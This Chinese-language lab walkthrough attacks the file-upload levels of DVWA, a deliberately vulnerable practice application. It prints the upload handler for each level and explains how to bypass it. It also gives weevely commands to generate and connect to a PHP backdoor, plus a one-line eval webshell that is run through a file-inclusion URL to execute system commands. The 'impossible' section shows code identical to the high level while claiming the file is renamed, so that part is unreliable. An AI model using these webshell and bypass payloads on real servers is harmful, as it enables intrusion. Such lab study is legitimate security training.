文件上传
weevely使用方法
终端敲下:
产生木马文件
weevely generate hacker ~/hacker.php
连上后台
weevely http://127.0.0.1/dvwa/hackable/uploads/hacker.php hacker
low
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
审计代码，可以发现没有对上传的文件进行任何的检查,我们直接上传木马文件即可getshell
medium
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
审计代码，只对content-type进行了验证，我们只需将其改为image/png即可绕过
high
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
要求后缀是.png或.jpg或.jpeg，并且对大小进行了限制，检查了文件头，我们可以在文件头前加个GIF89a?来绕过文件头检查，但是要绕过后缀限制，我们这时就要结合文件包含漏洞
写个一句话木马
<?php @eval($_POST['shell']); ?>
将其抓包，改包，后缀改成.png，然后在利用文件包含漏洞页面high级别的file协议，
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///var/www/html/dvwa/hackable/uploads/shell.png
在[POST:DATA]
shell=system('ls');
impossible
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
对文件进行了重命名，白名单限制了后缀，文件头检查，等等，无法实现绕过